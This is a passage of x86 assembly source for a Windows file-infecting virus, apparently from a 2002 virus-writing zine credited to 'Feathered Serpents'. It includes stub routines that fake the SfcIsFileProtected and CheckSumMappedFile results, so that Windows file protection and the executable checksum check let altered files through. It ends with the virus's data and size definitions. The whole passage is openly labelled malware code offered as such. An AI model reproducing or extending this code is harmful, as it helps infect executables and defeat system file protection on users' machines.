SECTION loop ConvertLoop ConvertFail: xor eax, eax ConvertExit: ret ConvertToVA ENDP ; ============================================================================= ; ( Alternate SfcIsFileProtected ) ============================================ ; ============================================================================= AlternSfc PROC A:DWORD, B:DWORD ; Alternate SfcIsFileProtected procedure, returns "File Unprotected" mov eax, FALSE ret AlternSfc ENDP ; ============================================================================= ; ( Alternate CheckSumMappedFile ) ============================================ ; ============================================================================= AlternSum PROC A:DWORD, B:DWORD, Y:DWORD, Z:DWORD ; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK" mov eax, [Z] mov ebx, NULL xchg [eax], ebx mov eax, [Y] mov [eax], ebx mov eax, [A] add eax, [eax][IMAGE_DOS_HEADER.e_lfanew] ret AlternSum ENDP ; ============================================================================= ; ( Virus Data ) ============================================================== ; ============================================================================= ALIGN 4 Virus_Code EQU $ - WinMain Virus_Data VX { } Virus_Size EQU $ - WinMain Virus ENDS END WinMain COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=- -=( ---------------------------------------------------------------------- ) `